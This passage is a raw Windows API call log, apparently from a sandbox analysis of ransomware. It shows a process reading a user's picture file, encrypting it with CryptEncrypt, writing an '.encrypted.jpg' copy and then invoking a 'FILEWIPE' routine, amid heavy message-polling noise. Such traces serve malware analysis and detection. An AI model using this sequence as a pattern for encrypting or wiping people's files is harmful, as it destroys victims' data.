lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.694] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.694] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.694] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.694] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0028.694] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe930, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe930*=0) returned 1 [0028.694] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.694] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.694] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.695] GetFileAttributesW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Pictures\\hZ2W\\RA1RifPB2\\VeXyoj31q5uYZq\\" (normalized: "c:\\users\\5jghkoaofdp\\pictures\\hz2w\\ra1rifpb2\\vexyoj31q5uyzq")) returned 0x10 [0028.695] CreateFileW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Pictures\\hZ2W\\RA1RifPB2\\VeXyoj31q5uYZq\\ZhbqZgbSVVeENsq.encrypted.jpg" (normalized: "c:\\users\\5jghkoaofdp\\pictures\\hz2w\\ra1rifpb2\\vexyoj31q5uyzq\\zhbqzgbsvveensq.encrypted.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1fc [0028.695] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.695] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.695] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.695] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.697] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe9e0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe9e0*=0) returned 1 [0028.697] ReadFile (in: hFile=0x188, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dfea20*=0x10000, lpOverlapped=0x0) returned 1 [0028.698] ReadFile (in: hFile=0x188, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dfea20*=0x29b6, lpOverlapped=0x0) returned 1 [0028.699] ReadFile (in: hFile=0x188, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dfea20*=0x0, lpOverlapped=0x0) returned 1 [0028.701] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.701] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.701] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.701] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0028.702] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.702] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.702] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0028.702] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0028.702] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0028.702] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0028.703] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0028.703] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0028.703] PeekMessageW (in: lpMsg=0xe8f3dfd7f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfd7f0) returned 0 [0028.704] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0028.704] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0028.704] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0xe8f417ae80, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptGetKeyParam", lpUsedDefaultChar=0x0) returned 17 [0028.704] GetProcAddress (hModule=0x7ffe2a590000, lpProcName="CryptGetKeyParam") returned 0x7ffe2a5cb750 [0028.704] CryptGetKeyParam (in: hKey=0xe8f4062330, dwParam=0x7, pbData=0xe8f4064c30, pdwDataLen=0xe8f3dfd858, dwFlags=0x0 | out: pbData=0xe8f4064c30*=0x660e, pdwDataLen=0xe8f3dfd858*=0x4) returned 1 [0028.705] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0028.705] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0028.705] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.705] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.705] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.705] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.705] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.705] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.705] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0028.705] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0028.705] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0028.705] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0028.706] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0028.706] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0028.706] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0028.706] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0028.706] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0028.706] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0028.706] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.706] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.706] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.706] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.706] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0028.706] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0028.707] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0028.707] CryptEncrypt (in: hKey=0xe8f4062330, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0x129b6, dwBufLen=0x0 | out: pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0x129c0) returned 1 [0028.707] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.707] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.707] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.707] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.707] CharLowerBuffW (in: lpsz="byte[76225]", cchLength=0xb | out: lpsz="byte[76225]") returned 0xb [0028.707] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.710] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.710] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0028.710] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0028.710] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0028.710] CryptEncrypt (in: hKey=0xe8f4062330, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe8f43b1d70*, pdwDataLen=0xe8f3dfdf68*=0x129b6, dwBufLen=0x129c0 | out: pbData=0xe8f43b1d70*, pdwDataLen=0xe8f3dfdf68*=0x129c0) returned 1 [0028.710] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.710] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.710] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.710] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.710] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.710] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.710] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0028.710] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0028.710] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0028.710] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0028.710] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0028.710] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0028.711] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0028.711] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0028.711] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0028.711] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0028.711] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.715] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.715] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.715] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.717] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.717] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.717] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0028.717] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0028.717] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0028.717] PeekMessageW (in: lpMsg=0xe8f3dfe0f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe0f0) returned 0 [0028.717] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0028.717] CryptDestroyKey (hKey=0xe8f4062330) returned 1 [0028.718] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0028.718] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0028.718] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0028.718] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0028.718] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0028.718] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0028.718] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0028.718] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0028.718] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0028.718] PeekMessageW (in: lpMsg=0xe8f3dfe060, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe060) returned 0 [0028.718] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0028.718] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0028.718] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0028.718] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0028.718] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.718] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0028.718] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.718] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0028.718] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0028.718] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0028.718] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.718] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0028.718] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0028.718] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.718] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0028.718] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0028.718] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0028.718] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0028.718] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0028.718] CryptReleaseContext (hProv=0xe8f4199930, dwFlags=0x0) returned 1 [0028.719] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.719] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0028.719] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0028.719] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.719] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.719] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.719] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.721] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.722] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0028.722] CharUpperBuffW (in: lpsz="FILEWIPE", cchLength=0x8 | out: lpsz="FILEWIPE") returned 0x8 [0028.722] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.722] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.722] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: 